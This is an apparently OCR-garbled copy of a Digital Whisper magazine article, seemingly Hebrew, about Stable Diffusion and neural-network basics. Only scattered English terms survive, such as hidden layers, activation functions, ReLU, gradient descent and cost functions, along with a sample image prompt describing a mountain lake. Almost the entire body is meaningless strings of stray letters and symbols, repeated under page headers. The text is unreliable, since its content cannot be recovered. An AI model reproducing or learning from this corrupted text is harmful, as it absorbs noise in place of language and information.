Xl o wds) v o X xsx XX, ¥ X4 14, £ %L 4 x 7

~ >~ A

1Y 30 S H 00 e H e oA e X X s E AT e RS e K ]

Pl A XM e d T xoadbdisxs e Ylox ko d X X 4047 K e e

SOXX N K X ] g B

RO I
nopa

Q\

‘-\.\_“\ N N

/T

mon " nna3 noow oYa"MTaT
T‘l’“n
L xku

" LAI ><~s-| =~ X XLXJJ' X" XZ,,x{ZXL”:S L X A= LK :: X :xxXXV~ ]Fx.|v”vi< x4 X "

S T IR T T S S N I N P B T AL O S P R IS
I o S L R L TR ) Tul S S T F R R

~

20 17 X kX xs

~

17 X, 4889 (Tl ¥ x o X {s 7

4

FeS T stk e BS, o A SETH X ES T ds o xg kA - s s 4 X

X 4" XD, X{iX ",sss " X s

~ ~ ~

” « S
~ > ~

FYSQ:X’LA:X\css'l‘“"-IXtu-S(is‘l‘|’swt-,jxi'xs~,..x“£ a X € a

X" g X X",

Stable Diffuision Y
www.DigitalWhisper.co.il
T H anHLx 4637 x 4 L ¥



http://www.ynet.co.il/PicServer2/20122005/852080/nironSmall.gif

07PN N1dY —

Cas 4% Loxs L] T Xy e S

A~ v 1

Dox e n g e sy X | o s X 1
'IL,AX-I.E“LS'ln “Hi(§q §577XSXJ

X q yi’ N | D G X-|A,_s“>tsx X”'”S Z,_’

v~

XS X s N ST el e

LR Ky fux]TE P T KT 2 % s X

O

Technologic

A erldl” X A 7] ?

v'790 N1dY

P IR P S "

~ A IS

LAY leas 1L ~ese sXQnput Layer

XD XX xioxpe Xs X | s

ST sxo4 % 6 X J\Hidden Layer

XS4« Aexql ] exl x g s X x4 ]

Ts {IUX{LXX s L owisx X )

v v

o8 1L «six 8 X [ Putput Layer
_Qutput Layer _+ 1 7 x_.xq{ x| s

AASIL S « X8 XoxsTX O ] X e {7

Dox Xl s X

e

O
O

0

Stable Diffuision

Y

www.DigitalWhisper.co.il

H amHLx 4637 x 4 L Y



Technologic

FX LT WEIghD L « B Sl X UAITL L 1o xsWXS] b T XL H R 2 ¥TXx]L {7 s

Lo, I e Ji, o boxsaxs o X T xd ok Tus r X ]
SG x ] 4 xSt oxxei Biads 4 15T X 4 4 ¥,

'I -I e X ~ ?’ -I X. 1 S XX )E ‘d . _IquJ-I

X XSS 4 1L

Sp 4% T,x.d xJ7.s ise

XX L X X ot NS

~

A I N L T I I

¢AcetivationFunctionps « | s s

T U XX TS X b A e xS0 T L ST, XX s Do .
Lok boxsaXs] % Tpd XXMl X, XssX ] sy | ] L, xsIoX D
S X L X T AT x % TN AR Juse | L 0" T QAL ] QxE
QT X op xS s BT | sixd " s
6~ _+6 0 B WU @ sSAsH445Xs] "Fxaxfr Qarrlds-
Xp A D e ST Y © L sSX x X L X D, SS L S b LT X
W N O A% 1. %Pe™g ONg foov A ~ _« 8 OO0 O XX el o«
SR o R  SCIINEE R

MH,01 ¢ ~ H 7 X xx o
()
\"—/\0.2

% B fps{s X p sl xTws, 4 x 7

0
i\iy 0.3
O ™SO

3 )

A

O

FAdLr A8 s« J@¢p M@ EBCQ ™M CO C

B 6 61 x

IR TP B R RS S I A P T R

AL S L b AL AS A1 L O X L T xS X

TBIT. X ] «Xx5x,4%"s

. ”
)-|3" X|L>S.,L ;SI\“ X)

~

$% %94 3§ JxpdTx

~

Stable Diffision
www.DigitalWhisper.co.il

Y

H amHLx 4637 x 4 L Y



Technologic

TXx Doxogdesiux foosy b Is (A% ) 4 o I s seit L e <T84 F ] X e
X Mdds sy tsy o b U DX T ke pi X L e A XK AX Y, X ] X X
Foor AT K ASK XSOl Auddss) L] A X R g X X9y 9T oy s X 4 0
FAd S 0 U 0 XL s X, HAFS L X v ) L X X

_S(” XS\:SXLZ(’“.:-I L X o

s {ssi{ . « ”-|x\>l=sj~>< < sv-|‘“\”-|)ss)~¢ X q L Zs|‘“|_”Asx|_>><5(§\=x-|‘_

~ v % A >

FYd o L s xGradientDescent: 1 A1 ¢ kx> Yy s 4, ] L

S . q4sC y{Psid.ssid L o7 X

O, WA —— L X XL S —— | 4. x Xy xS T fsg "]

TXo0 1 B0 X T x L xIsxo LA 4L "Y' QOQY G worhe - 44X es

~ ~

CAS T X Y RO XTIT ) Xk X ws e T S A L L s x|

s . x4 Jis{ q_’x-| Lo XXSE X sl X xi o €

~

T

RelLU
2

tanh

/ sigmoid
T —
__-——'——.
U -2 2 4

-2
-4

o Xxipes, 1 4% 8 €7 X x 2 4 fpsdsX s 1  Fsap v s 7]
1Y K7 v ds 4 % g {0 osxe ARl X g e A X AIxx ] o B X" T 4T
e X e X K TE T e AT b XS, o dste x4 .

i.x ~s )ﬁ‘\J Ll X sl x g sZ’-| . -|s\l)xv|_“j_" - 1 X« 8IS X V-| S’=~-||_><-| I X v-|s'|,,-|><sl s

Stable Diffuision Y
www.DigitalWhisper.co.il
TO H anHLx 4637 x 4 L ¥




Technologic

o] 7 xmXshd 2 A, sst o xw 2 1 xxss | T 047 xwad X7 2 X TP LX) .

SoU A4S, T804S TS T X L X UL Y LTSX L xS L X s 4] .

LY & Gfss  x o Jl x4, 4L datasets ¥« X4 E A L X s ST X posx" ¢

~

I S S SrLTIE IR I A T B 4 I T B B 2 e S R B S SN R Y e

Tranings » «~ 5,5 T 4 _ X" i .57 s L7 K d X7 1My $ 4T X, xS

LESIPN ~ ~ ~ LN > ~ ~

FLXS v s T XooB A L¥IX 8D x O T x 4 1 Dataset

1 JWeightsandBiase$: * 4 1esq4sixa p hs k4 _ dpd LeX oo ds o v ™xx |8

Training=* + 4 " Xk A"ASLie S L, Sa, | X g, d X", TS X x o, Lxs|_F{s

> 2 v

Fd 1l X 1%~ dataset* « x s YT x Is” x ({5 *1x . < xs{_ § 1 Dataset

>

b XX e L b e s Y sy L, 4 ] ks {40 x DT

~

XA . S \.'§1: K,\.) LLJI—X:,IsJX)s”LI -IL S ,,:S\.=-|XS”¢S k3 L X-I ,, S

~ > Ao~ VoA~ ~ 1~ A ~ o~ a

SH S HY XNy

c X b s X ass X ] esdsxe SR A XAl ] XS04 0

LN >

s L Costt XLl s 1814 ds ] X« datagets x " x _JXqIss 4" s

x Cisx 4 S 1S L X x LoBgCostFunction s X v 4 4 e, "x8 Do x o0 X

a ~ > > e a ~
X
r”
1

X we X8O g s o {818 ] 2% 9109 L XX K5 X L

H(X L A X s XS, o XS 4 O F ) xS X

X144

SO F T4 )h 4 s x0 0940 WBaggCost Function) - X L o: 9 4 8 Tsx O

~ ~

Pl s S8 Xx A ) L ST s e X e sy s Pt oy 47X, 4 x s

“s"vms‘,'l‘“ Y ”sLNES\,-|YX~\.:SXL:$|_ V-IS ” VSV,,-lq-I,v)()q'lssx

Mean"« {:sx (st «* Jipx 1 4 1si x s 4s¥¢ s xTrainingDatasets . [ _ - S

TAX uxi P oSt [ Ts4% | sisp 4 X TrainingDatasets 1 1 ~ X * Squared

S > A T

Fd L g (A% PR X B X L)L s s e " 40 s, X s s

~ N v ~> ~ >

s » 1 CTrainhgDatasets 1 1L & lie§ x4 T ¥ (Lot 0 X« K {17 ] s

RO R R

A v v

Stable Diffuision Y
www.DigitalWhisper.co.il
Tn H anHLx 4637 x 4 L ¥




Technologic

Gradient™ xsy4l. € 4 44, X ¥ (tv ¥l B % 4 X 00 . s XX ¥ s
AC 4% 4148 x4 Delseent

L H 1 -2 X0 Costs - 4 4 ) xa ¥ X
XX T XA AT s X AR XX S ] A eSS |

i s* x

'IV” n_l Jv :I_”sti ~X X XLVJX¥,,4 o _I) X 'J, iL SL:A"SX ql'.l“”
" X

LoX R $x 4. -|x)”s:,_vx.{“ss.||_,, X « 4

20X % XXX GradientDescent ¢ 4 - Xi¥sp v S 14 X SR2F o X {0

R T R S B ST | D DO A N BT NN S T AT P S I
. ] ..,>,~-|1-|I”X’-|~|_>~sk|\2,>(-|-||_s.{s|_x“’|;vj_sAs1“‘5”55)><Ix‘lw.|sv-1<s.|
e

. 21 UmH RS 4 s M XS L xS J o, ST X ]

o {8 a5 S N T oL XX BT L X)) XA 4 X4 X B ] Y eS
s G x .Sy F e, 4! >§¥<x‘j§ X« S84 < . ’I"x,:%dv q Vs:.| P A "x‘lL\l; s "
Tk 2 x "0 sy

o, Sy 7 s "I, X T oesx G ]I X sl { xs ) B

Stable Diffuision Y
www.DigitalWhisper.co.il

H amHLx 4637 x 4 L Y



Technoloqgic

TS x J0 Xy X 7"

0 2 ¥ 6 8

U LA e SN NS )X B XX AT ¥ L K T X s Sy s

S, R B T S I P I I RSt B O L Rt I RN SR I

~~

x 47 xs, Lot s H AL d B e d ) xS XX STl RN T S e x|

154 C¥hs i ] I 4 XA $ «p 4 s "ST0 8 xSl fysil, CyLtisx o ],

VI, 45, b X oS e Ss LT A s SR O TR L gy

~ > ~ ~ v ~

—_

. <X ” L

Y- W p PRULVLW ™Moo e ]l %1 ®W ®w @w i~y "s
I L OIS 4l X s LRSS o0s sl 4 Lwispas Xx ]
cXshx s @@ ASEX 1SS US4, s Xy 4 s 4

wh

~ s

(2.56.1.367)

0 2 \ 4 5 8

Stalde Diffuision Y
www.DigitalWhisper.co.il
TC H anHLx 4637 x 4 L ¥




-

1

Technoloc

XX WSXC T X v, s 1IHxs ”

CEXYX T e X s Os o, Xosw X Xp s AP A K], Xy .

~ ~I~ ~ A ~ >

S

X "X Gk A B x T Al o YT e 4 XY
T, x71 ¢ ST X4 0410 Qpi 80050 ¢ L - e 4 ) A, K%, 4 X7
P Ao ANl x i d.xy X6 1 3%0 @ 0QI 8§ 0@ 1
XpJH" X A x Y oees w0 A e VAl X O XS s X0
PAxx 0oxd ™ p o4 v 4, s e ds 44, x> s 7 0 1T d ., p 40 s
1 sx s v s AY xdql Lyl Do Xy e e st L (s s s
i o sas b e e X s el sIf TS L ek ly 4
o :x-|lvss,, « vxx’ 1§‘U_-|~v$,>f_,_x-|\ \svl”x~xi:’>{‘_ Z-|vls:x-|lv,,sx~-|v S

Stable Diffuision Y
www.DigitalWhisper.co.il
TT H AmHLX 4637 x 4 L ¥




Technologic

Xl s x ” Axx" . -!,s< X €

I I R
XAl xs C XXM P ¥s e e, L

~

AIXLx $~\xss<.‘$v.|

CLX XL Xlomed X o
X { X ¥X |« )x:-|sl><v,,2-|xv-| L ) X 8 RS i TRV x4

AT Alsx T

? I > Stable Diffusion ! « 1 |

.7 X X 31X« X5 X text-to-imager - 4+ X B ¥ » SStableDiffusion

dJirwPFw b x Is, « % Promptl | % Xx,54 IXsx T x7 4

~

~oX Y X Lol X LTI Ts Xy k4]0

"Animageof a peacefullake surroundedoy mountains with crystatclearwater reflectingthe
majesticlandscapén the background Thesunis setting, castinga warm orangeglow overthe

scene A smalldockwith a canoeis visible inviting explorationof the serenesurroundings 0

STx TS {0 Ty, X

~

S

Fouladd s 448X $ 48 57 x D YR8 xR Xss s

IS I N

Stable Diffuision Y

www.DigitalWhisper.co.il

Ty H anHLx 4637 x 4 L ¥



EONE I S

~ ~ ~

1 - X807 x Tiep i {44 .8 G Xy X

XewLtXx S F X 4 4] ¥ 3 Heqs |

b X DS XSO T dpLi e eSS X i v 4D MY X E XS

v~

Tk 4Tl d L X S e T X

% v” X V: S k -I \.|_X:,,-I|_-I\.S|_’-i ” ~|_“: v X

~

Stable Diffuision

Y

www.DigitalWhisper.co.il

T

H amHLx 4637 x 4 L ¥





























































































